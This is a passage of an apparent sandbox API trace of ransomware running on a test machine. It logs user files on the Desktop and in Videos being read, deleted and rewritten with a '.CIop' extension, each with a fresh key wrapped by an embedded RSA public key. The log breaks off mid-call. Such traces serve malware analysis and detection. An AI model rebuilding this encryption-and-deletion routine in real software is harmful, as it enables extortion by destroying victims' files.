1 [0101.994] CloseHandle (hObject=0x5e4) returned 1 [0101.994] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y_li3 4-qp.m4a")) returned 1 [0102.001] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.001] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.001] SetErrorMode (uMode=0x1) returned 0x1 [0102.001] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f044f0) returned 1 [0102.011] CryptGenKey (in: hProv=0x2f044f0, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x648e78) returned 1 [0102.048] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.048] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.048] CryptDestroyKey (hKey=0x648e78) returned 1 [0102.048] CryptReleaseContext (hProv=0x2f044f0, dwFlags=0x0) returned 1 [0102.049] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y_li3 4-qp.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0102.049] WriteFile (in: hFile=0x5f8, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x11eb5, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x326e5d8*=0x11eb5, lpOverlapped=0x0) returned 1 [0102.050] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11eb5 [0102.050] WriteFile (in: hFile=0x5f8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.051] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11ebc [0102.051] SetErrorMode (uMode=0x1) returned 0x1 [0102.051] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.051] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.051] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0102.051] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f04358) returned 1 [0102.054] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04358, dwCertEncodingType=0x1, pInfo=0x64b040, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x648db8) returned 1 [0102.054] CryptEncrypt (in: hKey=0x648db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0102.054] CryptEncrypt (in: hKey=0x648db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f043e0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f043e0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0102.054] WriteFile (in: hFile=0x5f8, lpBuffer=0x2f043e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f043e0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.054] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.055] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.055] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.055] CloseHandle (hObject=0x5f8) returned 1 [0102.057] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y_li3 4-qp.m4a")) returned 0 Thread: id = 183 os_tid = 0xc58 [0102.067] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.068] lstrcpyW (in: lpString1=0x312f368, lpString2="bVHx1G7LG6.swf" | out: lpString1="bVHx1G7LG6.swf") returned="bVHx1G7LG6.swf" [0102.068] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.068] SetErrorMode (uMode=0x1) returned 0x1 [0102.068] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf") returned 47 [0102.068] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf", dwFileAttributes=0x20) returned 1 [0102.068] StrStrW (lpFirst="bVHx1G7LG6.swf", lpSrch=".CIop") returned 0x0 [0102.068] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf.CIop") returned 52 [0102.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\bvhx1g7lg6.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0102.069] ReadFile (in: hFile=0x5f4, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x1537f, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x312e5e8*=0x1537f, lpOverlapped=0x0) returned 1 [0102.070] CloseHandle (hObject=0x5f4) returned 1 [0102.070] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\bvhx1g7lg6.swf")) returned 1 [0102.071] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.071] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.071] SetErrorMode (uMode=0x1) returned 0x1 [0102.072] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x655d68) returned 1 [0102.081] CryptGenKey (in: hProv=0x655d68, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x648878) returned 1 [0102.124] CryptExportKey (in: hKey=0x648878, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.125] CryptExportKey (in: hKey=0x648878, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.125] CryptDestroyKey (hKey=0x648878) returned 1 [0102.125] CryptReleaseContext (hProv=0x655d68, dwFlags=0x0) returned 1 [0102.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\bvhx1g7lg6.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0102.125] WriteFile (in: hFile=0x5f4, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x1537f, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x312e5d8*=0x1537f, lpOverlapped=0x0) returned 1 [0102.127] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1537f [0102.127] WriteFile (in: hFile=0x5f4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.127] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15386 [0102.127] SetErrorMode (uMode=0x1) returned 0x1 [0102.127] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.127] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.127] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0102.127] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f044f0) returned 1 [0102.130] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f044f0, dwCertEncodingType=0x1, pInfo=0x64b110, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x648c78) returned 1 [0102.130] CryptEncrypt (in: hKey=0x648c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0102.130] CryptEncrypt (in: hKey=0x648c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04688*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04688*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0102.130] WriteFile (in: hFile=0x5f4, lpBuffer=0x2f04688*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04688*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.130] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.130] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.131] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.131] CloseHandle (hObject=0x5f4) returned 1 [0102.132] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\bVHx1G7LG6.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\bvhx1g7lg6.swf")) returned 0 Thread: id = 184 os_tid = 0x790 [0102.136] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.136] lstrcpyW (in: lpString1=0x326f368, lpString2="z29LckBw5RcM_XD.png" | out: lpString1="z29LckBw5RcM_XD.png") returned="z29LckBw5RcM_XD.png" [0102.136] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0102.136] SetErrorMode (uMode=0x1) returned 0x1 [0102.136] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png") returned 49 [0102.136] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png", dwFileAttributes=0x20) returned 1 [0102.136] StrStrW (lpFirst="z29LckBw5RcM_XD.png", lpSrch=".CIop") returned 0x0 [0102.136] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png.CIop") returned 54 [0102.136] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\z29lckbw5rcm_xd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0102.137] ReadFile (in: hFile=0x5f8, lpBuffer=0x656668, nNumberOfBytesToRead=0x18ba9, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0x18ba9, lpOverlapped=0x0) returned 1 [0102.138] CloseHandle (hObject=0x5f8) returned 1 [0102.138] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\z29lckbw5rcm_xd.png")) returned 1 [0102.143] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.143] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.144] SetErrorMode (uMode=0x1) returned 0x1 [0102.144] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x655d68) returned 1 [0102.153] CryptGenKey (in: hProv=0x655d68, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x648738) returned 1 [0102.191] CryptExportKey (in: hKey=0x648738, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.191] CryptExportKey (in: hKey=0x648738, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.191] CryptDestroyKey (hKey=0x648738) returned 1 [0102.191] CryptReleaseContext (hProv=0x655d68, dwFlags=0x0) returned 1 [0102.192] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\z29lckbw5rcm_xd.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0102.192] WriteFile (in: hFile=0x600, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x18ba9, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0x18ba9, lpOverlapped=0x0) returned 1 [0102.194] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ba9 [0102.194] WriteFile (in: hFile=0x600, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.194] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18bb0 [0102.194] SetErrorMode (uMode=0x1) returned 0x1 [0102.194] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.194] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.194] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0102.194] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x655d68) returned 1 [0102.197] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655d68, dwCertEncodingType=0x1, pInfo=0x64b2b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x648938) returned 1 [0102.197] CryptEncrypt (in: hKey=0x648938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0102.197] CryptEncrypt (in: hKey=0x648938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a808*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a808*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0102.197] WriteFile (in: hFile=0x600, lpBuffer=0x2f1a808*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a808*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.197] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.198] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.198] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.198] CloseHandle (hObject=0x600) returned 1 [0102.200] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\z29LckBw5RcM_XD.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\z29lckbw5rcm_xd.png")) returned 0 Thread: id = 185 os_tid = 0xdc4 [0102.202] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.202] lstrcpyW (in: lpString1=0x312f368, lpString2="zsdQJc9p9rp.png" | out: lpString1="zsdQJc9p9rp.png") returned="zsdQJc9p9rp.png" [0102.202] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0102.202] SetErrorMode (uMode=0x1) returned 0x1 [0102.202] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png") returned 45 [0102.202] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png", dwFileAttributes=0x20) returned 1 [0102.202] StrStrW (lpFirst="zsdQJc9p9rp.png", lpSrch=".CIop") returned 0x0 [0102.202] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: 